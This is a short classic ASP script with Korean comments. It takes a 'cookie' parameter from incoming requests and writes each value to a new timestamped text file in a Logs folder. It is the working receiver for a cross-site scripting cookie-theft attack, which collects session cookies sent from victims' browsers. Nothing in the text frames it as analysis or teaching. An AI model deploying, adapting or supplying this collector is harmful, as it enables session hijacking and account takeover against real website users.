Dim cookie, fileName, filePath, uniqueFix, objFile
'// 포스트값으로 넘긴 데이터를 받습니다.
cookie = Request("cookie")
'// 파일 작업을 위해 FSO 객체를 호출합니다.
'// 해당 객체를 이용해서 파일 작없을 처리할수 있습니다.
Set ojbFSO = Server.CreateObject("Scripting.FileSystemObject")
uniqueFix = 0
fileName = Year(Now()) & NameFormat(Month(Now())) & NameFormat(Day(Now())) & NameFormat(Hour(Now())) & NameFormat(Minute(Now())) & NameFormat(Second(Now()))
filePath = Server.MapPath(".") & "\Logs"
'// Logs 폴더가 없을 경우 Logs 폴더를 생성합니다.
'// Logs 폴더에 웹사용자 계정에 대해서 쓰기 권한을 설정해야 합니다.
'// 웹사용자 계정에 대해 Logs 폴더에 권한이 없을경우 권한 오류가 발생합니다.
If ojbFSO.FolderExists(filePath) = False Then
ojbFSO.CreateFolder(filePath)
End if
'// 고유한 이름을 만들기위한 루틴입니다.
'// 해당 루틴은 고유한 이름이 아닐경우 파일이름에 증가된 uniqueFix 변수값을 더해서
'// 유한 이름을 만듭니다.
Do While ojbFSO.FileExists(filePath & "\" & fileName & uniqueFix & ".txt")
uniqueFix = uniqueFix + 1
Loop
fileName = filePath & "\" & fileName & uniqueFix & ".txt"
'// 텍스트 파일을 생성해서 전송된 쿠키값을 기록합니다.
Set objFile = ojbFSO.OpenTextFile(fileName, 2, True, 0)
objFile.Write cookie
objFile.Close
Set objFile = Nothing
Set ojbFSO = Nothing
'// 파일 이름을 만들기 위한 함수 입니다.
'// 문자가 1자리 일경우 00 형식으로 만들어 줍니다.
Private Function NameFormat(str)
If str = "" or IsNull(str) Then
NameFormat = str
Else
If Len(str) < 2 Then
NameFormat = "0" & Cstr(str)
Else
NameFormat = Cstr(str)
End if
End if
End Function